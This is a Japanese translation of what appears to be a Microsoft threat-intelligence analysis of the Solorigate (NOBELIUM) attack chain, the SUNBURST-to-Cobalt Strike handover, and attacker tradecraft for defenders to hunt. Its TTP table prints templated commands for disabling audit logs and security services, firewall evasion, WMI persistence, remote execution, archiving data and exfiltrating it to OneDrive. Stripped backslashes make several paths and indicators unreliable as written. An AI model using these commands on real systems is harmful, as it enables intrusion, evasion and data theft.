Solorigate の第 2 段階のアクティベーションの詳細: SUNBURST から TEARDROP、Raindrop まで

news

更新:マイクロソフトは、SolarWinds のサプライ チェーンを侵害し、他の複数の組織に影響を与えた国家レベルのサイバー攻撃の背後にある脅威アクターに関する知識を拡大するために、パートナーおよび顧客と協力し続けています。 Microsoft はこれまで攻撃者の主要な指定として「Solorigate」を使用していましたが、今後は、攻撃者が使用するマルウェアの例ではなく、巧妙な攻撃の背後にある攻撃者に適切な焦点を当てたいと考えています。 Microsoft Threat Intelligence Center (MSTIC) は、SolarWinds、SUNBURST バックドア、TEARDROP マルウェア、および関連コンポーネントに対する攻撃の背後にいる攻撃者をNOBELIUMと名付けました。新しいコンテンツと分析をリリースする際には、NOBELIUM を使用してアクターと攻撃キャンペーンを参照します。

Solorigate の発見から 1 か月以上が経過しましたが、調査によって新たな詳細が明らかになり続けており、この 10 年間で最も高度で長引く侵入攻撃の 1 つであることを証明しています。脅威データの継続的な分析により、Solorigate の背後にいる攻撃者は、攻撃を慎重に計画して実行し、持続性を維持しながらとらえどころのない熟練したキャンペーン オペレーターであることがわかりました。これらの攻撃者は、オペレーションのセキュリティと最小限のフットプリントで悪意のあるアクティビティを実行することについて精通しているようです。このブログでは、攻撃がどのように発生したかをよりよく理解するのに役立つ新しい情報を共有します。私たちの目標は、セキュリティ侵害の最も初期のアーティファクトを探し出し、この脅威からネットワークを保護する能力を高めることで、防御者コミュニティを強化し続けることです。

攻撃者が影響を受けるデバイスへのバックドア アクセスを可能にする、SolarWinds 製品の一部としてネットワークに展開された侵害された DLL である、 Solorigate バックドア マルウェア(FireEye ではSUNBURSTとも呼ばれます) の詳細な分析を公開しました。また、FireEye によってTEARDROPと呼ばれるローダーや Symantec によってRaindropと呼ばれる亜種を含む、いくつかのカスタム Cobalt Strike ローダーの 1 つである、強力な第 2 段階のペイロードを使用して、侵害されたエンドポイントで攻撃者が採用した実践的なキーボード テクニックについても詳しく説明しました。

複雑な Solorigate 攻撃チェーンのミッシング リンクの 1 つは、Solorigate DLL バックドアから Cobalt Strike ローダーへのハンドオーバーです。私たちの調査によると、攻撃者は、検出を回避するために、これら 2 つのコンポーネントを可能な限り分離するためにあらゆる手段を講じていました。このブログでは、このプロセスが発生した限られた数のケースに基づいて、このハンドオーバーに関する詳細を提供します。これらのケースを明らかにするために、Microsoft 365 Defender の強力なクロスドメイン オプティックスを使用して、1 つの完全で統合されたビューで攻撃チェーン全体を可視化しました。

また、 FireEyeVolexityなどの同様の調査ブログからの広範な TTP を補完するために、攻撃者が最初の偵察、データ収集、抽出中に使用した追加のハンズオン キーボード テクニックについても詳しく説明します。

ミッシングリンク:Solorigate バックドアから Cobalt Strike インプラントまで

SolarWinds が最近のブログで公開した攻撃のタイムラインは、完全に機能する Solorigate DLL バックドアが 2020 年 2 月末にコンパイルされ、3 月下旬にシステムに配布されたことを示しています。同じブログでは、攻撃者が 2020 年 6 月に SolarWinds のビルド環境から Solorigate バックドア コードを削除したとも述べています。

このタイムラインと、Solorigate バックドアが少なくとも 2 週間は休眠状態を維持するように設計されていたという事実を考慮すると、攻撃者は犠牲者を選択し、独自の Cobalt Strike インプラントを準備し、コマンド アンド コントロール (C2 ) インフラストラクチャー。この概算は、実際のハンズオン キーボード活動が 5 月に始まった可能性が最も高いことを意味します。

6 月に SolarWinds のバイナリからバックドア生成機能と侵害されたコードが削除されたことは、この時点までに攻撃者が十分な数の興味深いターゲットに到達し、攻撃者の目的がバックドアの展開とアクティブ化 (ステージ 1 Cobalt Strike インプラントを使用してキーボード操作による攻撃を継続し、選択した被害者のネットワークで運用できるようにします (ステージ 2)。

Solorigate 攻撃の展開を示すタイムライン グラフ

図 1. 長引くソロリゲート攻撃のタイムライン

しかし、Solorigate バックドア (SUNBURST) から Cobalt Strike ローダー (TEARDROP、Raindrop など) へのジャンプは、どのように行われるのでしょうか?どのコードがトリガーされ、防御側が探すべきインジケーターは?

図 2. ソロリゲート攻撃のステージ 1 とステージ 2 の間の遷移図

Solorigate の背後にいるような巧妙な攻撃者は、拡張と隠密な持続性を目標としており、検出されずに貴重な情報を収集できる時間を最大化します。攻撃が環境から適切に修復されたことを確信するためには、組織が環境全体のフォレンジック データを調べて、攻撃者がネットワークをどこまで通過したか、およびそこにどれくらいの時間滞在したかを確認できることが重要です。これを行う最善の方法は、組織が過去のイベントを再生して、ネットワーク上の攻撃者の存在を明らかにする可能性のあるアクティビティを探すことを可能にする拡張検出および応答 (XDR) ソリューションを使用することです。 Microsoft 365 Defender のような XDR ソリューションを導入していない影響を受ける組織は、インシデント対応を実行するのが困難になります。

Microsoft 365 Defender のデータを対象とした調査の結果、攻撃者の高度なスキルと、発見を回避するための細部に至るまでの入念な計画がさらに裏付けられました。説明のために、次の図は、エントリ ベクター攻撃チェーンを一目で示しています。

図 3.Solorigate バックドアから Cobalt Strike への移行

私たちは、SolarWinds DLL のバックドア バージョンを実行している潜在的な患者ゼロ マシンからの Microsoft Defender テレメトリおよびその他の信号の調査に数え切れないほどの時間を費やしました。これらのマシンのほとんどは、最初にランダムに生成された DNS ドメイン.avsvmcloud.comと通信しましたが、重要なアクティビティはありませんでした (ステップ #1)。ただし、5 月と 6 月には、最初の DNS ネットワーク通信の直後に、ポート 443 (HTTPS) で他の正当に見えるドメインへのネットワーク アクティビティが続いたという限定的なケースが確認されました (ステップ #7)。これらの一握りのマシンで、テレメトリの詳細な検査を行いました。

Solorigate バックドアが特定の被害者プロファイルに対してのみアクティブになることがわかっています。これが発生すると、実行プロセス (通常はSolarWinds.BusinessLayerHost.exe ) がディスク上に 2 つのファイルを作成します (ステップ #2)。

  • 通常、マシン上の正当なアクティビティに溶け込むために、既存のサービスまたはフォルダーにちなんで名付けられた VBScript
  • 第 2 段階の DLL インプラントであるカスタム Cobalt Strike ローダーは、通常、マシンごとに一意にコンパイルされ、 %WinDir% (例: C:Windows ) 内の正当に見えるサブフォルダーに書き込まれます。

この時点で、攻撃者は Cobalt Strike インプラントを起動する準備ができています。しかし、攻撃者は明らかに、SolarWinds の強力なバックドアの価値が高すぎて発見された場合に失うことはできないと考えているため、Cobalt Strike ローダーの実行を SolarWinds プロセスから可能な限り分離しようとしました。彼らの希望は、検出によって Cobalt Strike インプラントを失ったとしても、侵害された SolarWinds バイナリとそれに先立つサプライ チェーン攻撃が公開されないことです。

攻撃者は、SolarWinds プロセスにプロセスdllhost.exeの Image File Execution Options (IFEO) Debugger レジストリ値を作成させることでこれを達成しました (ステップ 3)。これは永続化のために使用される既知のMITRE ATT&CK 手法ですが、特定のプロセスが起動されたときに悪意のあるコードの実行をトリガーするために悪用される可能性もあります。レジストリ値が作成されると、攻撃者は、システム上で自然に発生する可能性があるdllhost.exeが時折実行されるのを待つだけです。この実行により、手順 4 でドロップされた VBScript ファイルを実行するように構成されたwscript.exeのプロセス起動がトリガーされます。

次に、VBScript はrundll32.exeを実行し、SolarWinds プロセスから完全に切り離されたクリーンな親/子プロセス ツリーを使用して Cobalt Strike DLL をアクティブ化します (ステップ #5)。最後に、VBScript は以前に作成された IFEO 値を削除して実行の痕跡をクリーンアップし (手順 6)、HTTP プロキシに関連する次のレジストリ キーも削除します。

  • HKEY_CURRENT_USER.DEFAULTSoftwareMicrosoftWindowsCurrentVersionInternet SettingsAutoDetect
  • HKEY_CURRENT_USER.DEFAULTSoftwareMicrosoftWindowsCurrentVersionInternet SettingsAutoConfigURL

カスタム Cobalt Strike ローダーの分析

私たちの調査では、TEARDROP、Raindrop、および Cobalt Strike ビーコン用のその他のカスタム ローダーを含む、いくつかの第 2 段階のマルウェアを特定しました。ラテラル ムーブメント フェーズでは、カスタム ローダー DLL はほとんどが既存の Windows サブディレクトリにドロップされます。以下にいくつかのパスの例を示します (追加のパスは、このブログの最後に記載されています)。

  • C:WindowsELAMBKUPWdBoot.dll
  • C:WindowsRegistrationcrmlog.dll
  • C:WindowsSKBLangModel.dll
  • C:WindowsAppPatchAcWin.dll
  • C:WindowsPrintDialogappxsig.dll
  • C:WindowsMicrosoft.NETFramework64sbscmp30.dll
  • C:WindowsPantherMainQueueOnline.dll
  • C:WindowsassemblyGAC_64MSBuild.5.0.0__b03f5f7f11d50a3amsbuild.dll
  • C:WindowsLiveKernelReportsKerRep.dll

これらのファイルには、正当な Windows のファイル名とディレクトリ名に似た名前が付けられており、攻撃者がどのように環境に溶け込み、目立たないように隠そうとしたかを再度示しています。

正当な Windows ファイル/ディレクトリ 悪意のあるカスタム ローダー
C:WindowsELAMBKUPWdBoot.sys C:WindowsELAMBKUPWdBoot.dll
C:WindowsRegistrationCRMLog C:WindowsRegistrationcrmlog.dll
C:WindowsSKBLanguageModels C:WindowsSKBLangModel.dll
C:WindowsAppPatchAcRes.dll C:WindowsAppPatchAcWin.dll
C:WindowsPrintDialogappxsignature.p7x C:WindowsPrintDialogappxsig.dll
C:WindowsMicrosoft.NETFramework64sbscmp10.dll C:WindowsMicrosoft.NETFramework64sbscmp30.dll
C:WindowsPantherMainQueueOnline0.que C:WindowsPantherMainQueueOnline.dll
C:WindowsassemblyGAC_64MSBuild 3.5.0.0__b03f5f7f11d50a3aMSBuild.exe C:WindowsassemblyGAC_64MSBuild 3.5.0.0__b03f5f7f11d50a3amsbuild.dll

Solorigate の調査中に確認された TEARDROP、Raindrop、およびその他のカスタム Cobalt Strike Beacon ローダーは、カスタムArtifact Kitテンプレートを使用して生成された可能性があります。各カスタム ローダーは、ビーコン リフレクティブ ローダー、または後でビーコン リフレクティブ ローダーをロードする予備ローダーのいずれかをロードします。リフレクティブ DLL ロードは、Windows ローダーを使用せずに DLL をプロセス メモリにロードする手法です。

図 4. Solorigate 攻撃で観測された Cobalt Strike Beacon ローダーの 2 つの亜種の構造

以降のセクションでは、Solorigate の調査で確認した Cobalt Strike Beacon の亜種について説明します。

バリエーション 1: ティアドロップ

これまでに、Microsoft は、TEARDROP として知られる第 2 段階のカスタム Cobalt Strike Beacon ローダーの 2 つのバージョンを分析しました (Microsoft によってTrojan:Win64/Solorigate.SA!dhaとして検出されます)。

  • 通常はNetSetupServiceMainという名前のServiceMain関数を持つサービス DLL ( svchost.exeによって読み込まれる)
  • rundll32.exeによってロードされる標準の非サービス DLL

読み込み方法に関係なく、どちらのバージョンにも、悪意のあるコードのトリガーを含むエクスポート機能があります。悪意のあるコードは、エクスポート機能によって作成された新しいスレッドで実行されます。悪意のあるコードが実行されると、拡張子が .jpg のファイルを開こうとします (例: festive_computer.jpgupbeat_anxiety.jpggracious_truth.jpgconfidence_promotion.jpg )。各サンプルが参照する .jpg ファイルの目的と役割を判断するには、さらなる分析が必要です。このコードは、Windows レジストリ キーSOFTWAREMicrosoftCTFの存在もチェックし、レジストリ キーが存在するかアクセスできる場合は終了します。次に、コードはデコードに進み、続いて埋め込まれたカスタムの予備ローダーを実行します。

図 5. バリアント 1 のカスタム ローダーの構造

このカスタム ローダーの亜種で使用される予備的なローダーは、通常、Cobalt Strike Artifact Kit テンプレート (たとえばbypass-pipe.c ) を使用して生成されます。

図 6. Artifact Kit の bypass-pipe.c テンプレートからコンパイルされた予備ローダーから逆アセンブルされた関数

カスタム Artifact Kit で生成された予備ローダーは、実際には、メモリ内のシェルコードのように変換およびロードされた DLL です。予備ローダーは、ビーコン反射型ローダー/DLL である次の段階のコンポーネントをロードする役割を果たします (Cobalt Strike ビーコンは反射型 DLL としてコンパイルされます)。リフレクティブ ローダーは、最終的にメモリ内のビーコンを初期化して実行します。

バリエーション 2: 追加のカスタム ローダー

調査の結果、Cobalt Strike アーティファクト キットのカスタム テンプレートを使用して生成されたと思われる、Cobalt Strike の Beacon 用の追加のカスタム ローダーを見つけました。悪意のあるコードがエクスポート関数によってトリガーされる TEARDROP とは異なり、これらの亜種の悪意のあるコードは、悪意のあるコードを実行する新しいスレッドを作成する DLL のエントリ ポイントから直接トリガーされます。これらのバリアント 2 カスタム ローダーには、毎分Sleep()関数を呼び出すことだけを目的とした、攻撃者が導入したエクスポート (さまざまな名前を使用) も含まれています。

図 7. バリアント 2 ローダーからのカスタム エクスポート関数の例

さらに、TEARDROP とは異なり、これらの亜種にはカスタムの予備ローダーが含まれていません。つまり、ローダー DLL は難読化を解除し、メモリ内で Cobalt Strike Reflective DLL を実行します。

図 8. バリアント 2 カスタム ローダーの構造

これらのカスタム ローダーは、さらに 2 つのタイプに分けることができます。

  • タイプ A: DLL のDATAセクションから Cobalt Strike Reflective Loader をデコードしてロードする大規模な DLL のセット (Microsoft によってTrojan:Win64/Solorigate.SC !dhaとして検出)
  • タイプ B: 難読化を解除し、DLL のCODEセクションからリフレクティブ ローダーをロードする小さな DLL のセット (Symantec ではRaindropとも呼ばれ、Microsoft ではTrojan:Win64/Solorigate.SB!dhaとして検出されます)

図 9. カスタム ローダーの 2 つのサブタイプ

タイプ A ローダーとタイプ B ローダーの最終的な目標は、メモリ内の Cobalt Strike Reflective Loader の難読化を解除してロードすることです。タイプ A ローダーは単純なローリング XOR 手法を使用してリフレクティブ ローダーをデコードしますが、タイプ B ローダー (Raindrop) は AES-256 暗号化アルゴリズム (サンプルごとに一意のキー)、LZMA 圧縮、およびシングルバイト XOR デコード ルーチンの組み合わせを利用します。メモリに埋め込まれた Reflective Loader の難読化を解除します。難読化解除プロセスの最後に、両方の亜種がリフレクティブ ローダーをメモリにロードし、メモリ内で Cobalt Strike Beacon を実行します。

Solorigate Cobalt Strike ローダーに関する法医学的観察

カスタム ローダーのメタデータとタイムラインの分析と、各ビーコン ペイロードから抽出された構成データの分析を組み合わせた結果、次のような発見がありました。

  • カスタム ローダー DLL は、UTC の午前 8:00 から午後 5:00 の間に侵害されたシステムに導入されました。ある侵入では、UTC 午前 10:00 頃に、 BusinessLayerHost.exeによって最初の第 2 段階のカスタム ローダー (TEARDROP) が環境に導入されました。
  • ディスクに投下されたカスタム ローダー DLL には、2020 年 7 月から 2020 年 10 月までの範囲のコンパイル タイムスタンプが含まれていましたが、組み込みのリフレクティブ DLL には、2016 年 3 月から 2017 年 11 月までの範囲のコンパイル タイムスタンプが含まれていました。合成コンパイル タイムスタンプ ( compile_time ) 値を持つカスタム Malleable C2 プロファイル。一見したところ、攻撃者はカスタム ローダー DLL のコンパイル時刻にタイムスタンプを付けていないように見えます (2020 コンパイル タイムスタンプ)。しかし、侵害されたシステムのフォレンジック分析により、いくつかのケースでは、システムへのカスタム ローダー DLL の導入のタイムスタンプが、カスタム ローダー DLL のコンパイル タイムスタンプよりも前の日付であることが明らかになりました (つまり、DLL は将来の日付でコンパイルされたように見えます)。
  • バリアント 1 と 2 の両方のカスタム ローダー DLL は、Windows (例: DLL )、7-Zip (例: 7z.dll )、Far Manager (例: Far. dll )、LibIntl (例: libintl3.dll )、およびその他の正当なアプリケーション。 Variant 2 のカスタム ローダーの大部分は、7-Zip や Far Manager などの正当なアプリケーションのオープンソース ソース コードからコンパイルされています (つまり、これらのアプリケーションのオープンソース ソース コードは、悪意のあるコードを追加するために変更されています)。場合によっては、特定の開発成果物がカスタム ローダー サンプルに残されていました。たとえば、次の C++ ヘッダー (.hpp) パスは、変更された Far Manager オープンソース ソース コード ( c:buildworkspacecobalt_cryptor_far (dev071)farmanagerfarplatform.concurrency.hpp )からコンパイルされたローダーで観察されました。 ):

図 10. カスタム Cobalt Strike ローダー サンプルで確認された C++ ヘッダー ファイル (.hpp) のファイル パス

  • 各カスタム ローダー DLL には、指定された PE エクスポート関数が含まれており、ローダーの悪意のある機能をトリガーするか (亜種 1)、 Sleep()関数を呼び出します (亜種 2)。これらの PE エクスポート関数名 (ローダー DLL ごとに 1 つ) の包括的でないリストを以下に示します (ハンティング目的の有用な指標となる可能性がある、エクスポート名の繰り返しの「Tk」プレフィックスに注意してください)。
__GetClasterInf FreeSetupRevoke Tk_GetRootCoords
TkComputeAnchor TkpSetMainMenubar __RtlProjectObj
GetLimitStroke Tk_IntersectTextLayout TkDebugBorder
TkSelPropProc __Tkグローバル NetSetupServiceMain
Tk_NameOf3DBorder TkFindStateString TkWinCancelMouseTimer
_XInitImageFuncPtrs RestVirtAlloc Tk_PostscriptImage
TkGetDefaultScreenName TkWinClipboardRender CreateLocalThread
SetTkPrv Tk_QueryAllocMem TkGrabState
XClearWindow CreateProcessTVI Tk_GetElementBox
Tk_SizeOfImage TkpSetKeycodeAndState XCreateBitmapFromData
  • 攻撃者がラテラル ムーブメント フェーズ中に各システムの固有の場所にカスタム ローダーをドロップしたことに加えて、調査中に発見されたほとんどのビーコンおよびリフレクティブ ローダー インスタンスは、固有の C2 ドメイン名、固有のウォーターマーク ID、固有の PE コンパイル タイムスタンプ、PE で構成されていました。元の名前 ()、DNS アイドル IP (例: 84[.]200[.]70[.] 40、208[.]67[.]220[.] 220、208[.]67[.]222[.] ]2229[.]9[.]9[.]9 、および8[.]8[.]4[.]4 )、一意の User-Agent および HTTP POST/GET トランザクション URI、スリープ時間、およびジッター要素。 2 つの Beacon インスタンスが同じ C2 ドメイン名、ウォーターマーク、またはその他の前述の構成値を共有していないため、これは注目に値します。特定の内部フィールドを除いて、ほとんどのビーコン構成フィールドは、Malleable C2 プロファイルを介してカスタマイズ可能です。攻撃者がカスタムの Malleable C2 プロファイルを実際に使用した場合、上記のリストに示されているように、プロファイルは同じネットワーク内のさまざまなラテラル ムーブメント キャンペーンで使用される Beacon インスタンスによって大きく異なります。前述のように、各ビーコン インスタンスには一意のウォーターマーク値があります。透かし値の分析により、すべての透かし値が数字「3」で始まることが明らかになりました。次に例を示します。
0x3 0343131 0x3 4353633 0x3 8303535 0x3 8383238
0x3 2323638 0x3 5373331 0x3 8353138 0x3 8383430
  • エクスプロイト後のアーティファクトに関しては、観察された Beacon インスタンスは異なる「spawnto」値を使用するように構成されていました。Cobalt Strike はこの値を使用して、一時的なプロセスを生成し、エクスプロイト後の関連コンポーネントまたは機能を生成されたプロセスに挿入します。この詳細は、 exeによって開始されたプロセス作成イベントを探すのに役立ちます。以下は、観察された Beacon インスタンスによって使用されるパスの例です。
    • %WINDIR%System32conhost.exe
    • %WINDIR%System32control.exe
    • %WINDIR%System32dllhost.exe
    • %WINDIR%System32help.exe
    • %WINDIR%System32LogonUI.exe
    • %WINDIR%System32msiexec.exe
    • %WINDIR%System32print.exe
    • %WINDIR%SysWOW64audiodg.exe
    • %WINDIR%SysWOW64help.exe
    • %WINDIR%SysWOW64msiexec.exe
    • %WINDIR%SysWOW64msinfo32.exe
    • %WINDIR%SysWOW64print.exe
    • %WINDIR%SysWOW64WerFault.exe

追加の攻撃者戦術、アンチフォレンジック動作、および運用上のセキュリティ

前述のように、Solorigate の背後にいる攻撃者は、運用セキュリティ (OpSec) のベスト プラクティスに従って、痕跡を最小限に抑え、レーダーの下に留まり、検出を回避する、熟練した整然としたオペレーターです。

Microsoft 365 Defender の豊富なテレメトリのレンズを通して見た攻撃者の戦術、手法、および手順 (TTP) の詳細な分析中に、他の防御者がこのインシデントにより適切に対応し、ハンティングを使用するのに役立つ、開示する価値のあるいくつかの手法を観察しました。 Microsoft 365 Defender の高度なハンティングや Azure Sentinel クエリなどのツールを使用して、過去のアクティビティの潜在的な痕跡を検索します。

これらの攻撃者が専門的な OpSec 手法とフォレンジック対策で際立っている理由のいくつかの例を以下に示します。

  • 侵害された各ホストの共有インジケータを組織的に回避します。前のセクションで説明したように、各 Cobalt Strike DLL インプラントは、マシンごとに一意になるように準備されており、フォルダ名、ファイル名、エクスポート関数名、C2 ドメイン/IP、HTTP リクエスト、タイムスタンプ、ファイル メタデータの重複と再利用を何としても回避しました。 、config、および子プロセスが起動されました。この極端なレベルの差異は、WMI 永続フィルター名、WMI フィルター クエリ、7-zip アーカイブに使用されるパスワード、出力ログ ファイルの名前など、実行可能でないエンティティにも適用されました。侵害された個々のマシンにこのレベルの順列を適用することは、通常、他の敵対者には見られない驚くべき努力であり、ネットワーク内の侵害されたすべての資産の完全な識別や、被害者間の脅威情報の効果的な共有を防ぐために行われます.
  • カモフラージュし、環境に溶け込みます。攻撃者が使用するツールとバイナリ (ADFIND 正規ツールなど) は常に名前が変更され、マシンに既に存在する既存のプログラムとファイルを模倣したフォルダーに配置されていました。このブレンドは、ファイルだけでなく、他の要素にも使用されました。たとえば、影響を受ける組織に存在する他のスクリプトと一致する名前とクエリを使用して、WMI 持続性フィルターが作成されました。
  • 攻撃者は、集中的かつ継続的に実際のキーボード アクティビティを実行する前に、 AUDITPOLを使用してイベント ログを無効にし、その後再度有効にしました。
  • 同様に、攻撃者はノイズの多いネットワーク列挙アクティビティ (NSLOOKUP や LDAP クエリの繰り返しなど) を実行する前に、特定のプロトコルの発信パケットを最小限に抑える特別なファイアウォール ルールを慎重に準備しました。ネットワークの偵察が完了した後、ファイアウォール ルールも整然と削除されました。
  • 側方運動活動は、準備なしに実行されることは決してありませんでした。活動が検出されない可能性を高めるために、攻撃者は最初にターゲット ホストで実行されているリモート プロセスとサービスを列挙し、特定のセキュリティ サービスを無効にしてから横方向に移動することを決定しました。
  • 攻撃者は、タイムスタンプを使用してアーティファクトのタイムスタンプを変更し、専門的な消去手順とツールを利用して、影響を受けた環境からの DLL インプラントの検索と回復を複雑にしたと考えられます。

以下の表で、最も興味深いユニークな TTP のいくつかをご覧ください。ほとんどの場合、コマンドとツールは、Cobalt Strike のメインの親プロセスから起動される中間の「cmd.exe /C」プロセスを介して実行されます。私たちは MITRE と積極的に協力して、このインシデントから出現した新しい技術が ATT&CK フレームワークの今後の更新で文書化されるようにしています。

観測された攻撃者の行動 MITRE ATT&CK
攻撃者は常に、C2 との通信に使用されるメイン プロセスでもある rundll32.exe を介して TEARDROP インプラントを実行していました。

rundll32.exe からの追加コマンドの実行は、「cmd.exe /C」でインターリーブされることが多いようでした。この情報は、例で示したように、この特定のプロセス ツリー チェーンを探すのに役立ちます。

攻撃者が目的に対してより危険なアクション (資格情報の盗難や偵察など) を実行する必要がある場合、まれなイベントですが、コマンドラインなしで追加の dllhost.exe プロセスを生成しました。

プロセスツリー:
rundll32.exe c:windows[フォルダ][ビーコン].dll [エクスポート]
-> cmd.exe /C
→【追加コマンド】
T1218.011 |防御回避 – 署名付きバイナリ プロキシの実行: Rundll32
ラテラル ムーブメント中に実行されると、rundll32.exe は WMIC または Invoke-WMIMethod を介して「高」の整合性レベルで実行され、まれな組み合わせである WmiPrvSE.exe によって生成されました。 Cobalt Strike DLL は、フォレンジック リカバリを回避するために、実行完了後に削除された可能性があります。 Variant1 (「remote-exec」Cobalt Strike コマンドを発行した結果、PowerShell から実行):

Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:Windows[フォルダー][ビーコン].dll [エクスポート]’ -ComputerName [ターゲット]

Variant2 (rundll32.exe から実行):

wmic /node:[ターゲット] process call create “rundll32 c:windows[folder][beacon].dll [export]”

T1047 | Windows 管理インストルメンテーション (WMI)
WMI イベント フィルタを使用して、システムの起動時にコマンド ライン イベント コンシューマを呼び出し、rundll32.exe でバックドアを起動しました。 __eventfilter のインスタンス
{
eventnamespace = “”rootcimv2″”;
name = “”__timeritem””;
query = “”select * from __instancemodificationevent within 70 where targetinstance is ‘win32_perfformatteddata_perfos_system’ and targetinstance.systemuptime >= 300 and targetinstance.systemuptime < 400″”;
querylanguage = “”wql””;
};
パーマ。消費者:
commandlineeventconsumer のインスタンス
{
commandlinetemplate = “”c:windowssystem32rundll32.exe c:windows[フォルダー][ビーコン].dll, [エクスポート]””;
executablepath = “”c:windowssystem32rundll32.exe””;
name = “”setpolicytrace””;
};
T1546.003 |持続性 –
イベント トリガーによる実行: Windows Management Instrumentation イベント サブスクリプション
攻撃者は AUDITPOL を使用して、追加の監査ログと証拠証跡の収集を阻止しました。 auditpol /GET /category:”詳細な追跡”
auditpol /set /category:「詳細追跡」 /success:disable /failure:disable[複数のコマンドとアクションの実行]auditpol /set /category:「詳細追跡」 /success:enable /failure:enable
T1562.002 |防御回避 – 防御を損なう: Windows イベント ログを無効にする
攻撃者は NETSH を使用して、特定の UDP アウトバウンド パケットを制限する (ノイズやフットプリントを減らすため) ファイアウォール ルールを構成した後、NSLOOKUP と ADFIND で徹底的に偵察しました。 netsh advfirewall ファイアウォール ルール名を追加 =”[rulename1]” protocol=UDP dir=out localport=137 action=block
netsh advfirewall firewall add rule name=”[rulename2]” protocol=UDP dir=out localport=53 action=block[複数のネットワーク偵察の実行]netsh advfirewall firewall delete rule name=”[rulename1]”
netsh advfirewall ファイアウォール削除ルール名 =”[rulename2]”
T1562.004 |防御回避 – 防御を損なう: システム ファイアウォールを無効にするか変更する
攻撃者は fsutil を使用して、収集、列挙、抽出、またはディスク上に大きなファイルを作成する可能性のある DCSync などの攻撃を実行する前に、使用可能な空き容量を確認しました。 fsutil ボリューム diskfree c:
攻撃者は、複数のコマンドライン ユーティリティを使用して、リモート システムで実行中のプロセス、サービス、およびサインインしているユーザーを列挙してから、横方向の移動を試みました。 – タスクリスト /v /s [ターゲット]
– クエリ ユーザー /server:[ターゲット]
– schtasks /クエリ /v /s [ターゲット] /fo csv
– sc [ターゲット] クエリ タイプ=サービス状態=すべて
– wmic /node:”[ターゲット]” service get name,startname
T1047 | Windows 管理インストルメンテーション (WMI)、
T1057 |プロセスの発見
攻撃者は、リモート システムのサービス コントロール マネージャを使用して、セキュリティ監視製品に関連するサービスを無効にしました。次に、リモート システムに横方向に移動し、移動が完了すると、以前に操作していたソース マシンでサービスを再度有効にして、警告が発生しないようにしました。 ソース マシン上:

sc [dest_machine] stop [service name][横移動を実行 Source->Dest]

Dest マシンで次の手順を実行します。

sc [ソースマシン] start [サービス名]

T1562.001 |防御回避 –
防御を損なう: ツールの無効化または変更
攻撃者は、セキュリティ監視製品のサービス開始レジストリ キーを「無効」 (つまり、DWORD 値「4」) に設定します。これにより、システムの起動時にセキュリティ製品がロードされなくなりました。場合によっては、攻撃者は、システムが再起動してセキュリティ監視製品が無効になるまで、システムでアクティビティを実行するのを待ちました。 reg add HKLMsystemcurrentcontrolsetservices[サービス名] /v Start /t REG_DWORD /d 4″ T1562.001 |防御回避 – 防御を損なう: ツールの無効化または変更
攻撃者は、正規の Windows ファイル (arp.exe など) と一致するようにバックドアのタイムスタンプを変更しました。 なし T1070.006 |ホストでのインジケーターの削除: Timestomp
攻撃者は 7-zip ユーティリティを使用して、アーカイブ ファイルに関連付けられていない拡張子を持つ、パスワードで保護されたアーカイブを作成しました。場合によっては、フラグ「-v」を使用してアーカイブを複数のファイルに分割し、簡単に抽出できるようにしました。 7z.exe a -mx9 -r0 -p[パスワード編集済み] .[ファイル名 1].zip .[ファイル名 2].log または .txt

7z.exe a -v500m -mx9 -r0 -p[パスワード編集済み] .[ファイル名 1].zip .[ファイル名 2].log または .txt

T1560.001 |収集されたデータのアーカイブ: ユーティリティによるアーカイブ
攻撃者は、net.exe コマンド ライン ユーティリティを使用して、コマンド ラインから OneDrive 共有をマッピングしました。 Google Drive などの他のクラウド サービスも使用されている可能性が高いです。 net use [ドライブ]: “https://d.docs.live.net/[ユーザーID]” /u:[ユーザー名] [パスワード] T1567.002 | Web サービスを介した流出: クラウド ストレージへの流出
攻撃者は、既に取得したアカウント資格情報を使用して、グループ管理サービス アカウント (gMSA) のパスワードにアクセスしようとしました。 なし T1555 |パスワード ストアからの資格情報
攻撃者は特権アカウントを利用して、ドメイン コントローラーでディレクトリ サービス データを複製しました (例: DCSync 攻撃)。 なし T1003.006 | OS 資格情報のダンプ: DCSync
攻撃者は、Active Directory サービス プリンシパル名 (SPN) のチケット グランティング サービス (TGS) チケットを取得して、オフラインでクラッキング (Kerberoasting など) しました。 なし T1558.003 |ケルベロス チケットを盗むか、偽造する: ケルベロスティング
攻撃者は、正当な ADFIND ツールを複数回実行して、ドメイン、リモート システム、アカウントを列挙し、フェデレーション ドメイン間の信頼を発見しました。このツールは、既存の環境に溶け込むか、既存のネットワーク サービスを模倣するために選択された、名前が変更されたファイル名で実行されました。 [名前を変更した-adfind].exe -h [内部ドメイン] -sc u:[ユーザー] > .[マシン][ファイル].[ログ|txt]

[名前を変更した-adfind].exe -sc u:* > .[フォルダ][ファイル].[ログ|txt]

[名前が変更された-adfind].exe -h [マシン] -f (name=”Domain Admins”) member -list | [名前を変更した-adfind].exe -h [マシン] -f objectcategory=* > .[フォルダー][ファイル].[ログ|txt]

[named-adfind] のいくつかの例は、Microsoft およびその他のセキュリティ研究者によって観察されました::
SearchIndex.exe
sqlceip.exe
postgres.exe
IxNetwork.exe
csrss.exe

T1482 |ドメイン信頼発見、T1018 |リモート システム検出

結論

Solorigate 攻撃に対する理解が深まるにつれて、攻撃者のスキル レベルと、最近の歴史の中で最も巧妙な攻撃の 1 つを実行するために彼らが投入した計画の範囲がより明確になります。複雑な攻撃チェーンと長期にわたる運用の組み合わせは、防御ソリューションが攻撃者の活動に対する包括的なクロスドメインの可視性を持ち、必要に応じて調査するための強力なハンティング ツールを使用して数か月の履歴データを提供する必要があることを意味します。

Solorigate のような最新の攻撃は、組織がMicrosoft 365 DefenderAzure Sentinelなどの高度なセキュリティ ソリューションを使用し、「違反を想定する」という考え方でセキュリティ対応を運用する必要性を浮き彫りにしています。 Microsoft 365 Defender は、複数の機能の力を活用し、ドメイン全体で保護を調整して、包括的な防御を提供します。 Azure Sentinel は、Microsoft 365 Defender を含む複数のデータ ソースからデータを収集してデータを接続し、攻撃者の活動を幅広く追跡できるようにします。

2020 年 5 月から 11 月の間に悪意のあるアクティビティが発生した既知の Solorigate ケースの進行中のフォレンジック分析では、Microsoft Defender for Endpoint および Microsoft Defender for Identity によって生成された次の関連アラートがいくつかの例で見られました。その期間中の Solorigate インシデントを調査するインシデント対応者と防御者は、Solorigate アクティビティの潜在的な指標として、これらのアラートを単独または組み合わせて参照できます。

Microsoft Defender for Endpoint アラート:

  • 署名された実行可能ファイルによって実行される評判の低い任意のコード
